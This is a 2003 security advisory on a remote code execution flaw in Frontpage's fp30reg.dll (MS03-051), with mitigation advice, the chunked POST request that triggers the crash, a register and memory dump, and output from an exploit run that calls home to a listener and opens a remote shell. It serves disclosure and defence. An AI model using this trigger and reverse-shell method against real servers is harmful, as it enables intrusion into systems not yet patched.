Security-Assessment.com – Vulnerability Advisory

Name	Frontpage Extensions Remote Command Execution
Microsoft Advisory	http ://www.microsoft.com/technet/security/bulletin/ms03-051.asp
Date Released	November 11, 2003
Affected Software	Microsoft Windows 2000 Service Pack 2, Service Pack 3 Microsoft Windows XP, Microsoft Windows XP Service Pack 1 Microsoft Office XP, Microsoft Office XP Service Release 1
Researcher	Brett Moore brett.moore@security-assessment.com

Description
After the discovery of two remote vulnerabilities in the nssiislog.dll module, we ran our custom vulnerability checker against the Frontpage extension modules. Within minutes it had discovered a vulnerability in the module fp30reg.dll.

The fp30reg.dll module does not properly handle requests that are sent using the chunked encoding transfer method. By sending a chunked encoded post to fp30reg.dll with a large body, an attacker can cause an IIS subsystem to stop with an access violation error, resulting in the following log message.

```
Event Type:     Warning
Event Source:   W3SVC
Event Category:         None
Event ID:       37
Description:
Out of process application '/LM/W3SVC/1/ROOT' terminated unexpectedly.
```

At the time of the error, attacker supplied data is been used in a write operation. This allows an attacker to write data to a memory location leading to remote command execution with privileges associated with the IWAM_machinename account. This is the account that IIS runs under.

Solutions
Every day is a 0-day day on the Internet. Limiting the avenues of attack can be a key factor in reducing the risk to a web server. Programs such as secureIIS and URLscan should be setup to reduce the number of methods that can be used to send data to a server. Removing unnecessary services, files and isapi extensions reduces the number of listeners that data can be fed to limiting the number of vulnerabilities that a server is susceptible to.

Install the vendor supplied patch.
http://www.microsoft.com/technet/security/bulletin/ms03-051.asp

About Security-Assessment.com

Security-Assessment.com is a leader in intrusion testing and security code review, and leads the world with SA-ISO, online ISO17799 compliance management solution. Security-Assessment.com is committed to security research and development, and its team have previously identified a number of vulnerabilities in public and private software vendors products.

Technical Details

```
== Chunked Transfer-Encoding Post ==

POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1
Transfer-Encoding: chunked

PostLength
PostData
0


== Exploitation ==

[Code Segment]
 67D46AD3 mov ecx,dword ptr [ebx+edx+8]
 67D46AD7 mov edi,dword ptr [ebx+edx+4]
 67D46ADB mov dword ptr [ecx+4],edi

[Registers]
 EAX = 046F83E8 EBX = 00000010 ECX = 58585858
 EDX = 05450FEC ESI = 0000000C EDI = 58585858
 EIP = 67D46ADB ESP = 0120F648 EBP = 0120F668

[EDX DUMP]
 05450FEC  11 00 00 00 58 58 58  ....XXX
 05450FF3  58 58 58 58 58 58 58  XXXXXXX
 05450FFA  58 58 58 58 58 58 58  XXXXXXX
 05451001  58 58 58 58 58 58 58  XXXXXXX
 05451008  58 58 58 58 58 58 58  XXXXXXX
 0545100F  58 58 58 58 58 58 58  XXXXXXX
 05451016  58 58 58 58 58 58 58  XXXXXXX

== Exploit Example ==

%:\>exploit 192.168.1.63

** FP30REG.DLL - Ver 4.0.2.5526 - Remote Shell **

. Calling Home: blackhole:2000
. Using: 0x---------h as writeable data space
. Shellcode Size: 304 bytes
. Preparing Exploit Buffer......Ready
. Starting Listener On Port: 2000
. Connecting To 192.168.1.63
. Sending Exploit......Exploit Sent
. Connection Received

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>whoami
IWAM_BLACKHOLE
C:\WINNT\system32>
```

For further information on this issue or any of our service offerings, contact us

Web www.security-assessment.com
Email info@security-assessment.com
Phone +649 302 5093